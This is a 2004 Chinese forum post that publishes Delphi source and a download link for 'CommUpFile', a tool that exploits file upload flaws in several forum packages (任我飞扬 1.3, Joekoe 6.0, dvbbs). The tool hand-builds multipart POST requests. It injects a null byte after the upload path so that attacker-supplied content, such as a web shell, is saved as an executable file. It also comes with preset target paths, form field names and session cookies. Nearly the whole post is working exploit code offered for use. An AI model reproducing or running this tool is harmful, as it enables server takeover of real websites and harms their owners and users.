对任我飞扬1.3,乔客6.0,dvbbs 3.0 sp2之前所有版本有效，其它论坛也可以使用，具体原理不再分析，以前的很多文章都有介绍。
软件下载地址：
http://free.efile.com.cn/hnxyy/CommUpFile.exe
原代码：
unit untmain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,IdHttp, Buttons, ScktComp;
type
TForm1 = class(TForm)
Label1: TLabel;
EdtHost: TEdit;
Label2: TLabel;
EdtPort: TEdit;
BtnQuery: TButton;
Label3: TLabel;
LblNum: TLabel;
Label5: TLabel;
Memo1: TMemo;
Label4: TLabel;
EdtUrl: TEdit;
Label6: TLabel;
EdtPathField: TEdit;
Label7: TLabel;
EdtFileField: TEdit;
Label8: TLabel;
EdtUpPath: TEdit;
Label9: TLabel;
EdtType: TEdit;
Label11: TLabel;
Label12: TLabel;
Memo2: TMemo;
cls: TClientSocket;
BtnSubmit: TButton;
BtnClose: TButton;
Memo3: TMemo;
Label13: TLabel;
rb1: TRadioButton;
rb2: TRadioButton;
rb3: TRadioButton;
procedure BtnQueryClick(Sender: TObject);
procedure BtnCloseClick(Sender: TObject);
procedure BtnSubmitClick(Sender: TObject);
procedure clsError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure clsRead(Sender: TObject; Socket: TCustomWinSocket);
procedure clsConnect(Sender: TObject; Socket: TCustomWinSocket);
procedure FormShow(Sender: TObject);
procedure rb2Click(Sender: TObject);
procedure rb3Click(Sender: TObject);
procedure rb1Click(Sender: TObject);
private
{ Private declarations }
bbspath,urlpath,upfname,host,ftype:string;
procedure IniVariant;
procedure SendData;
procedure SetRdbCheck(rd:TRadioButton);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
//查询网站全球排名
procedure TForm1.BtnQueryClick(Sender: TObject);
var
idhttp:TIdHTTP;
ResultStr:string;
iStart,iEnd,iPos:integer;
begin
Memo3.Clear;
idhttp :=TIdHTTP.Create(nil);
idhttp.Port :=strtoint(trim(edtport.text));
try
ResultStr :=idhttp.Get('http://data.alexa.com/data?cli=10&dat=snba&url='+trim(EdtHost.Text));
Memo3.Text :=ResultStr;
if pos('<POPULARITY',ResultStr)>0 then
begin
iPos :=pos('<POPULARITY',ResultStr);
ResultStr :=copy(ResultStr,iPos,length(ResultStr)-iPos);
iStart :=pos('TEXT=',ResultStr);
iEnd :=pos('/>',ResultStr);
ResultStr :=copy(ResultStr,iStart+6,iEnd-iStart-7);
LblNum.Caption :=ResultStr;
end else
begin
LblNum.Caption :='not found';
end;
finally
idhttp.Free;
end;
end;
procedure TForm1.BtnCloseClick(Sender: TObject);
begin
Close;
end;
procedure TForm1.BtnSubmitClick(Sender: TObject);
begin
if lowercase(copy(trim(EdtUrl.Text),1,7))<>'http://' then
begin
Application.MessageBox('输入地址有误，请检查是否以"http://"开头！','提示',mb_ok+mb_iconinformation);
exit;
end;
Memo3.Clear;
IniVariant;
SendData;
end;
procedure TForm1.clsError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
errorcode:=0;
cls.Active :=False;
end;
procedure TForm1.clsRead(Sender: TObject; Socket: TCustomWinSocket);
var
ss:string;
begin
ss:=socket.ReceiveText;
Memo3.Text :=ss;
if pos('成功',ss)<>0 then
begin
Application.MessageBox('上传成功！','提示',mb_ok+mb_iconinformation);
cls.Active :=False;
end;
end;
procedure TForm1.SendData;
var
ss,ss1,updata:string;
i:integer;
begin
for i:=0 to Memo1.Lines.Count-1 do
updata :=updata+Memo1.Lines[i];
//Http头信息
ss:='POST '+bbspath+' HTTP/1.1'+#13#10;
ss:=ss+'Content-Type: multipart/form-data; boundary=www.wrsky.com'+#13#10;
ss:=ss+'Referer: http://'+host+bbspath+#13#10;
//ss:=ss+'Accept-Language: zh-cn'+#13#10;
//ss:=ss+'Connection: Keep-Alive'+#13#10;
//ss:=ss+'Cache-Control: no-cache'+#13#10;
//ss:=ss+'Accept-Encoding: gzip, deflate'+#13#10;
//ss:=ss+'User-Agent: Mozilla/4.0 '+#13#10;
ss:=ss+'Host: '+host+#13#10;
//发送的内容
ss1:=ss1+'www.wrsky.com'+#13#10;
ss1:=ss1+'Content-Disposition: form-data; name="'+trim(EdtPathField.Text)+'"'+#13#10#13#10;
ss1:=ss1+upfname+char(0)+#13#10;
ss1:=ss1+'www.wrsky.com'+#13#10;
ss1:=ss1+'Content-Disposition: form-data; name="'+trim(EdtFileField.Text)+'"; filename="D:\newmm.'+ftype+'"'+#13#10;
ss1:=ss1+'Content-Type: text/plain'+#13#10#13#10;
ss1:=ss1+updata+#13#10#13#10;
ss1:=ss1+'www.wrsky.com'+#13#10;
ss1:=ss1+'Content-Disposition: form-data; name="submit"'+#13#10#13#10;
ss1:=ss1+'上传'+#13#10;
ss1:=ss1+'www.wrsky.com--'+#13#10#13#10;
ss:=ss+'Content-Length: '+inttostr(length(ss1))+#13#10;
ss:=ss+'Cookie: '+trim(Memo2.Text)+#13#10#13#10;
ss:=ss+ss1;
cls.Socket.SendText(ss);
end;
procedure TForm1.clsConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
SendData;
end;
procedure TForm1.IniVariant;
var
iPos:integer;
begin
urlpath :=trim(edturl.text);
urlpath :=copy(urlpath,8,length(urlpath)-7);
ipos:=pos('/',urlpath);
host:=copy(urlpath,1,iPos-1);
bbspath:=copy(urlpath,iPos,length(urlpath)-iPos+1);
upfname :=trim(EdtUpPath.Text);
ftype :=trim(edttype.text);
cls.Host :=host;
cls.Port :=80;
cls.Active :=True;
end;
procedure TForm1.FormShow(Sender: TObject);
begin
SetRdbCheck(rb1);
end;
procedure TForm1.SetRdbCheck(rd: TRadioButton);
begin
//任我飞扬1.3
if rd=rb1 then
begin
EdtUrl.Text :='http://www.xxx.com/img_upfile.asp';
EdtPathField.Text :='filepath';
EdtFileField.Text :='file1';
Memo2.Text :='IsFirst=True;ASPSESSIONIDSSQAQQAC=FBHDKLAAILJJEFPAJGMIAGGO';
end;
//Joekoe V6.0
if rd=rb2 then
begin
EdtUrl.Text :='http://www.xxx.com/upload.asp?action=upfile';
EdtPathField.Text :='up_name';
EdtFileField.Text :='file_name1';
Memo2.Text :='需要自己抓取';
end;
//dvbbs 7.0
if rd=rb3 then
begin
EdtUrl.Text :='http://www.xxx.com/bbs/upfile.asp';
EdtPathField.Text :='filepath';
EdtFileField.Text :='file1';
Memo2.Text :='iscookies=0;ASPSESSIONIDACRQTBCS=OGALDEBDBBIGMLOHFKMOJFKO';
end;
end;
procedure TForm1.rb2Click(Sender: TObject);
begin
SetRdbCheck(rb2);
end;
procedure TForm1.rb3Click(Sender: TObject);
begin
SetRdbCheck(rb3);
end;
procedure TForm1.rb1Click(Sender: TObject);
begin
SetRdbCheck(rb1);
end;
end.
////////////////////////////////////////////////////////////////
CommUpFile 1.0
作者:Hnxyy QQ:19026695
2004.12.07 北京
FireFox技术交流论坛
临时访问地址
It is all beginnings free
It is all ruin to be privately owned
